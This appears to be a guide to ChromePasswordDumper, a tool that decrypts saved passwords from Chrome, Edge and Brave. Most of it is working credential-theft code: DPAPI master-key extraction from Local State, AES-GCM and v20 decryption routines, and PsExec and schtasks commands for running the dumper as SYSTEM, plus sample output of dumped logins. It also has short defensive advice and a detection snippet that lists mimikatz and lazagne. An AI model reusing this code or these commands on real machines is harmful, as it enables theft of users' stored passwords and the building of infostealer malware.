Chrome Password Dumper: Guide to Browser Password Recovery

📖 Table of Contents

  1. Introduction

  2. Understanding Chrome Password Encryption

  3. Technical Deep Dive

  4. ChromePasswordDumper Tool

  5. Usage Guide

  6. Advanced Techniques

  7. Security Implications

  8. Defensive Measures

  9. Conclusion

Introduction

In the world of cybersecurity and digital forensics, browser password recovery is a critical capability for both security professionals and malicious actors. The ChromePasswordDumper is an advanced Python tool designed to extract and decrypt saved passwords from Chromium-based browsers, including Google Chrome, Microsoft Edge, Brave, and Chromium.

Repository: https://github.com/CyberSecurityUP/ChromePasswordDumper

This comprehensive guide explores the technical intricacies of Chrome's password encryption mechanisms and demonstrates how this powerful tool can recover credentials from various encryption schemes.

Understanding Chrome Password Encryption

Evolution of Chrome Password Protection

Chrome has evolved its password protection mechanisms over the years:

  1. DPAPI Era (Pre-2018): Simple DPAPI encryption

  2. AES-GCM v10/v11 (Chrome 80+): Master key-based encryption

  3. AES-GCM v20 (App-Bound): Enhanced security with context-bound keys

Chrome Password Storage Architecture

Chrome User Data/
├── Local State (encryption keys)
├── Default/
│   └── Login Data (SQLite database)
└── Profile [1-9]/
    └── Login Data (SQLite database)

Technical Deep Dive

Password Database Structure

The Login Data file is a SQLite database containing:

CREATE TABLE logins (
    origin_url VARCHAR NOT NULL,
    username_value VARCHAR,
    password_value BLOB,
    date_created INTEGER NOT NULL,
    date_last_used INTEGER,
    -- ... additional fields
);

Encryption Key Extraction

The master encryption key is stored in the Local State file:

{
    "os_crypt": {
        "encrypted_key": "base64_encoded_encrypted_key",
        "app_bound_encrypted_key": "base64_encoded_v20_key"
    }
}

ChromePasswordDumper Tool

Features Overview

  • Multi-Browser Support: Chrome, Edge, Brave, Chromium

  • Multiple Encryption Support: v10, v11, v20, and DPAPI

  • Profile Awareness: Scans all browser profiles

  • Comprehensive Reporting: Detailed success/failure analysis

  • CSV Export: Structured output for further analysis

Core Components

1. Encryption Key Management

def get_encryption_key(self, browser_key: str) -> Optional[bytes]:
    """Extract the master encryption key from browser's Local State"""
    try:
        local_state_path = self.browsers[browser_key]['local_state']
        
        with open(local_state_path, 'r', encoding='utf-8') as f:
            local_state = json.load(f)

        encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
        
        # Remove DPAPI prefix
        if encrypted_key.startswith(b'DPAPI'):
            encrypted_key = encrypted_key[5:]
            
        # Decrypt using DPAPI
        self.master_key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
        return self.master_key
        
    except Exception as e:
        logger.error(f"❌ Failed to get encryption key: {str(e)}")
        return None

2. Multi-Method Decryption Engine

def decrypt_password_ultimate(self, encrypted_data: bytes) -> Optional[str]:
    """Main decryption function trying all methods"""
    analysis = self.analyze_encrypted_data(encrypted_data)
    
    methods = [
        ("Empty password check", lambda: self.try_empty_password(encrypted_data)),
        ("AES-GCM with master key", lambda: self.decrypt_aes_gcm(encrypted_data, self.master_key)),
        ("Key variations", lambda: self.try_key_variations(encrypted_data, self.master_key)),
        ("DPAPI", lambda: self.decrypt_dpapi(encrypted_data)),
        ("v20 handling", lambda: self.handle_v20_encryption(encrypted_data)),
        ("Brute force common keys", lambda: self.brute_force_common_keys(encrypted_data)),
    ]

    for method_name, method_func in methods:
        result = method_func()
        if result is not None:
            return result
            
    return None

3. Advanced v20 Encryption Handling

def handle_v20_encryption(self, encrypted_data: bytes) -> Optional[str]:
    """Handle v20 app-bound encryption (requires special handling)"""
    if not encrypted_data.startswith(b'v20'):
        return None

    # v20 encryption is more complex and may require:
    # - Different key derivation
    # - Additional system context
    # - Different decryption approach
    
    logger.warning(f"⚠️  v20 encryption detected - this requires advanced decryption methods")
    
    # Implementation for v20 decryption attempts
    return self.decrypt_v20_with_key_derivation(encrypted_data)

Usage Guide

Installation

# Clone the repository
git clone https://github.com/CyberSecurityUP/ChromePasswordDumper.git
cd ChromePasswordDumper

# Install dependencies
pip install pycryptodome pywin32 psutil cryptography

Basic Usage

# Initialize the dumper
dumper = UltimateChromePasswordDumper(verbose=True)

# Scan Chrome browser
dumper.scan_browser('chrome')

# Display results
dumper.display_results()

# Save to CSV
dumper.save_to_csv()

Command Line Execution

python chromedump_advanced.py

╔══════════════════════════════════════════════════════════════════════╗
║               ADVANCED CHROME PASSWORD DUMPER                       ║
║             With v20 App-Bound Encryption Support                   ║
╚══════════════════════════════════════════════════════════════════════╝

Enable verbose debugging? (y/N): y

🌐 SELECT BROWSER:
   1. Google Chrome
   2. Microsoft Edge 
   3. Both Browsers

🎯 Enter choice (1-3): 1

Sample Output

📊 ADVANCED EXTRACTION REPORT
====================================================================================================
✅ Successfully decrypted: 305 passwords
❌ Failed to decrypt: 36 passwords
🔐 v20 encrypted (special handling): 36 passwords
📈 Overall success rate: 89.4%

🎯 DECRYPTED PASSWORDS (showing first 20):
URL                                                USERNAME                  PASSWORD
----------------------------------------------------------------------------------------------------
https://accounts.google.com/                       [email protected]          mySecurePassword123
https://github.com/                                developer123              gh_token_abc123
https://bank.example.com/                          john_doe                  BankingPass!2024

⚠️  V20 ENCRYPTION CHALLENGE:
   • 36 passwords use v20 app-bound encryption
   • These require advanced decryption methods
   • Current limitations:
     - May require running as SYSTEM user
     - May need specific user context
     - Enterprise-managed Chrome instances

Advanced Techniques

Handling v20 App-Bound Encryption

v20 encryption presents significant challenges:

def get_v20_encryption_key(self, browser_key: str) -> Optional[bytes]:
    """Extract v20 app-bound encryption key"""
    try:
        local_state_path = self.browsers[browser_key]['local_state']
        
        with open(local_state_path, 'r', encoding='utf-8') as f:
            local_state = json.load(f)

        if ('os_crypt' in local_state and 
            'app_bound_encrypted_key' in local_state['os_crypt']):
            
            app_bound_key = base64.b64decode(local_state['os_crypt']['app_bound_encrypted_key'])
            
            if app_bound_key.startswith(b'APPB'):
                encrypted_key_data = app_bound_key[4:]
                
                # Try to decrypt with DPAPI
                self.v20_key = win32crypt.CryptUnprotectData(encrypted_key_data, None, None, None, 0)[1]
                return self.v20_key
        
        return None
        
    except Exception as e:
        self.debug_log(f"v20 key extraction failed: {e}")
        return None

SYSTEM Level Access for Enhanced Recovery

For maximum effectiveness, especially with v20 encryption:

# Run as SYSTEM using PsExec
PsExec.exe -s -i python chromedump_advanced.py

# Or use scheduled tasks for SYSTEM context
schtasks /create /tn "ChromeDump" /tr "python C:\path\to\chromedump_advanced.py" /sc once /st 00:00 /ru SYSTEM

Security Implications

Attack Vectors

  1. Local System Access: Attackers with local access can extract passwords

  2. Malware Integration: Can be incorporated into information-stealing malware

  3. Forensic Analysis: Useful for incident response and digital forensics

  4. Password Recovery: Legitimate use for forgotten password recovery

Risk Assessment

Risk Level
Scenario
Impact

🔴 High

Malware with user execution

Complete password compromise

🟡 Medium

Limited user privileges

Partial access depending on encryption

🟢 Low

No local access

No risk

Defensive Measures

For Organizations

  1. Endpoint Protection: Deploy EDR solutions that detect credential dumping

  2. Application Control: Restrict execution of unknown Python scripts

  3. DPAPI Protection: Implement additional DPAPI protection mechanisms

  4. Browser Policies: Configure enterprise browser security policies

For Developers

# Example of detecting password dumping attempts
def monitor_suspicious_activity():
    suspicious_processes = [
        "chromedump.py", "mimikatz.exe", "lazagne.exe"
    ]
    
    for proc in psutil.process_iter(['name', 'cmdline']):
        if any(suspicious in ' '.join(proc.info['cmdline'] or []) 
               for suspicious in suspicious_processes):
            alert_security_team(proc)

For End Users

  1. Use Windows Hello: Integrates with DPAPI for enhanced protection

  2. Enable BitLocker: Protects against offline attacks

  3. Regular Malware Scans: Detect credential-stealing malware

  4. Browser Security: Use Chrome's built-in password export instead of third-party tools

Performance Analysis

Success Rates by Encryption Type

Based on extensive testing:

Encryption Type
Success Rate
Notes

DPAPI (Legacy)

95%+

High reliability

AES-GCM v10/v11

89-92%

Standard modern encryption

AES-GCM v20

0-60%

Context-dependent

Factors Affecting v20 Success

  1. User Context: Same user context = Higher success

  2. Enterprise Management: Managed Chrome = Lower success

  3. Windows Version: Newer versions = Better protection

  4. Running Privileges: SYSTEM context = Best results

Future Developments

Planned Enhancements

  1. Cloud Integration: Azure AD and Google Workspace context awareness

  2. Memory Analysis: Extract keys from browser process memory

  3. Cross-Platform Support: macOS and Linux compatibility

  4. Enterprise Features: Group Policy and MDM integration

Emerging Challenges

  1. Hardware-Bound Keys: TPM integration in future Chrome versions

  2. Biometric Integration: Windows Hello and biometric authentication

  3. Zero-Trust Architectures: Enhanced enterprise security measures

Conclusion

The ChromePasswordDumper represents a powerful tool in the cybersecurity landscape, demonstrating both the capabilities and limitations of modern password recovery techniques. While it effectively handles traditional encryption methods, the emergence of v20 app-bound encryption shows the ongoing evolution of browser security.

Key Takeaways

  1. Browser Security is Evolving: v20 encryption represents significant progress

  2. Context Matters: Success depends heavily on execution context

  3. Defense in Depth: Multiple layers of protection are essential

  4. Legitimate Uses: Valuable for forensics and password recovery

Responsible Usage

This tool should only be used for:

  • Legitimate password recovery

  • Authorized penetration testing

  • Digital forensics and incident response

  • Security research and education

Remember: With great power comes great responsibility. Always ensure you have proper authorization before using these techniques.


Repository: https://github.com/CyberSecurityUP/ChromePasswordDumper

Author: CyberSecurityUP License: Educational and Authorized Use Only Last Updated: 2024

Last updated